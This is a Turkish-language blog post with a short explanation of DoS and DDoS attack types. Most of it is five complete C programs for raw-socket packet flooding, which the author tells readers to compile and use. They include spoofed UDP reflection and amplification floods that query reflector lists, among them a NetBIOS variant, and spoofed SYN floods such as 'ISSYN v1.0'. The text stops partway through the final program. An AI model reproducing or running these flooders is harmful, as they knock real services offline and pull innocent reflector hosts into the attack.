Merhaba DDoS Attack hakkında daha önce birazda olsa değinmiştim.
DoS ve DDoS Saldırıları arasındaki fark
DoS saldırısı, genellikle, hedeflenen bir sistemi veya kaynağın taşması için bir bilgisayar ve bir İnternet bağlantısı kullanır. DDoS saldırısı, hedeflenen kaynağın taşması için birden fazla bilgisayar ve İnternet bağlantısı kullanıyor. DDoS saldırıları genellikle botnet’ler vasıtasıyla dağıtılan küresel saldırılardır.
DDoS saldırısında, mağdura giden trafik birçok farklı kaynaktan oluşur – yüz binlerce veya daha fazla olabilir. Bu, saldırıyı tek bir IP adresini engelleyerek durdurmayı imkansız kılar; Ayrıca, meşru kullanıcı trafiğini saldırı trafiğinden ayırt etmek o kadar çok kaynak noktasına yayılırken çok zordur.
DDoS Saldırı Türleri
Birçok DDoS saldırısı türleri vardır. Yaygın saldırılar şunları içerir:
Traffic Attacks : Trafik flood saldırıları, hedefe büyük miktarda TCP, UDP ve ICPM paket gönderir. Meşru kullanıcı talepleri kaybolur ve bu saldırılara kötü amaçlı yazılım kullanımının eşlik etmesi mümkündür.
Bandwidth Attacks : Bu DDos saldırısı, hedefi büyük miktarlarda önemsiz verilerle aşırı yükler. Bu, ağ bant genişliği ve ekipman kaynakları kaybına neden olur ve hizmetin tamamen reddedilmesine neden olabilir.
Application Attacks : Uygulama katmanı veri iletileri, hedefin sistem hizmetlerini kullanılamaz halde bırakarak, uygulama katmanındaki kaynakları tüketebilir.
Aşağıdaki kodların hepsi ayrı programdır. Derleyip kullanabilirsiniz.
Ne kadar çok zombi bilgisayar olursa saldırı o kadar etkili olur.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 |
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(9987); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14); udph->len = htons(sizeof(struct udphdr) + 14); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 |
#include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netdb.h> #include <net/if.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; static unsigned int floodport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int count) { register unsigned long sum = 0; while (count > 1) { sum += *buf++; count -= 2; } if (count > 0) { sum += *(unsigned char *)buf; } while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr = iph->saddr; pseudohead.dst_addr = iph->daddr; pseudohead.zero = 0; pseudohead.proto = IPPROTO_TCP; pseudohead.length = htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr)); unsigned short output = csum(tcp, totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(5678); tcph->seq = rand(); tcph->ack_seq = 1; tcph->res2 = 3; tcph->doff = 5; tcph->syn = 1; tcph->ack = 1; tcph->window = htons(65535); tcph->check = 1; tcph->urg_ptr = 1; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(rand() % 2048); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "derped.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(rand() % 2048); iph->daddr = sin.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Unable to allocate.\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 5) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 " "for no limit> <time>\n", argv[0]); exit(-1); } fprintf(stdout, "Setting up Sockets...\n"); int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; for (i = 0; i < num_threads; i++) { pthread_create(&thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stdout, "Starting Flood...\n"); for (i = 0; i < (atoi(argv[4]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 |
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(7778); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\x5c\x73\x74\x61\x74\x75\x73\x5c", 8); udph->len = htons(sizeof(struct udphdr) + 8); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> " "<pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *)malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if (head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr = inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr = inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for (i = 0; i < num_threads; i++) { td[i].thread_id = i; td[i].sin = sin; td[i].list_node = current; pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); } fprintf(stdout, "Starting flood...\n"); for (i = 0; i < (atoi(argv[6]) * multiplier); i++) { usleep((1000 / multiplier) * 1000); if ((pps * multiplier) > maxpps) { if (1 > limiter) { sleeptime += 100; } else { limiter--; } } else { limiter++; if (sleeptime > 25) { sleeptime -= 25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 |
#include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <time.h> #define MAX_PACKET_SIZE 4096 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; } if(count > 0) { sum += *(unsigned char *)buf; } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr=iph->saddr; pseudohead.dst_addr=iph->daddr; pseudohead.zero=0; pseudohead.proto=IPPROTO_TCP; pseudohead.length=htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); unsigned short output = csum(tcp,totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { char ip[17]; snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255); iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(rand()%54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr(ip); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(rand()%65535); tcph->seq = rand(); tcph->ack_seq = 0; tcph->res1 = 0; tcph->res2 = 0; tcph->doff = 5; tcph->psh = 0; tcph->syn = 1; tcph->window = htons(65535); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(rand()%54321); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(rand()%54321); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; int psh = 0; int res1 = 0; int res2 = 0; while(1) { if(psh > 1) psh = 1; if(res1 > 4) res1 = 0; if(res2 > 3) res2 = 0; sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); setup_ip_header(iph); setup_tcp_header(tcph); iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); tcph->dest = htons(rand()%65535); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->ack_seq = 1; tcph->psh = psh; tcph->res1 = res1; tcph->res2 = res2; tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; psh++; res1++; res2++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 5){ fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(0)); int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 20; int i; fprintf(stderr, "Start flooding ...\n", argv[1]); for(i = 0;i<num_threads;i++){ pthread_create( &thread[i], NULL, &flood, (void *)argv[1]); } fprintf(stderr, "Flooding: %s\n", argv[1]); for(i = 0;i<(atoi(argv[4])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data { int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 50; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(137); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01", 50); udph->len = htons(sizeof(struct udphdr) + 50); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (s < 0) { fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) { fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while (1) { sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); pps++; if (i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[]) { if (argc < 6) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, 